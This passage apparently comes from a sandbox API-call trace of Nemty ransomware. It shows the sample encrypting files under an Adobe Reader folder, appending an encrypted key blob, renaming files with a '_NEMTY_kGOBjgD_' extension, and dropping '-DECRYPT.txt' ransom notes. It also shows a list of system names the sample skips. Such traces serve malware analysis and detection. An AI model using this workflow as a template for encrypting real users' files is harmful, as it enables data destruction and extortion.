0x6340198 [0171.940] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.940] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.940] Sleep (dwMilliseconds=0x5) [0171.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a21b7f0, dwHighDateTime=0x1d561e8)) [0171.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a21b7f0, dwHighDateTime=0x1d561e8)) [0171.941] GetLastError () returned 0x0 [0171.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.941] GetLastError () returned 0x0 [0171.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.941] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.941] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.941] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0171.941] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="EimQeAWrOYCeEaCOHXsePuEUe+qZMDIPm67ep8pM9Y3VgfXabeFnP6E6+W4t5qps\r\nrGMuKX3qcAoslu+xvUnJgdGfwRvoJzPjEfaKdt2lCRcx7aaNp0+GGYNQgoH1Oi4P\r\n+F5B+uUoCwMtzqJUd2EtAbEypsmAA1f4qSx0LCA3uCV1O57ldBflKtnWmzdAzH2k\r\nPWpWGPNjGuZc5AbXn1QQPds3OKhTXhzW9n4+ZZ6clCVNjIHAYlVGqSVTFj19p7wN\r\nTdf0F75ouCngNNwQxts+m29+NFfRUfIrjQrhFXlTZx5Z/hA2tx9sBp0/eh8cFlma\r\ns9vwJARtky6rMK0+218wkw==\r\n", pcchString=0x653e5dc) returned 1 [0171.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0171.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.942] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.942] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=154954) returned 1 [0171.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0171.942] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.942] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0171.951] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.951] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0171.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.951] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=154954, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x25d4a [0171.951] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.951] CloseHandle (hObject=0x3b0) returned 1 [0171.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.951] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0171.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0171.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.952] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.952] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a1a93d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a1a93d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a1a93d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.952] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.952] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.952] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.952] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.952] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.952] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.952] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.953] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.953] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.953] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.953] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.953] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.953] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.953] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.953] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.953] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.953] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.953] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.953] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.953] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.953] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.953] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94310 [0171.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.954] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a1a93d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a1a93d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a1a93d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.954] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.954] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PTB", cAlternateFileName="")) returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2=".") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="..") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="...") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="windows") returned -1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="$RECYCLE.BIN") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="rsa") returned -1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="NTDETECT.COM") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="ntldr") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="MSDOS.SYS") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="IO.SYS") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="boot.ini") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="boot.ini") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="AUTOEXEC.BAT") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="ntuser.dat") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="desktop.ini") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="CONFIG.SYS") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="RECYCLER") returned -1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="BOOTSECT.BAK") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="bootmgr") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="programdata") returned 1 [0171.954] lstrcmpiW (lpString1="PTB", lpString2="appdata") returned 1 [0171.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PTB", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.954] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PTB", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PTB", lpUsedDefaultChar=0x0) returned 3 [0171.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PTB", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.955] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PTB", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PTB", lpUsedDefaultChar=0x0) returned 3 [0171.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94310 [0171.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0171.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.955] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.955] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.955] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.956] CloseHandle (hObject=0x254) returned 1 [0171.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.957] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.957] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ptb\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.958] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.958] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.958] CloseHandle (hObject=0x254) returned 1 [0171.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.958] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a21b7f0, 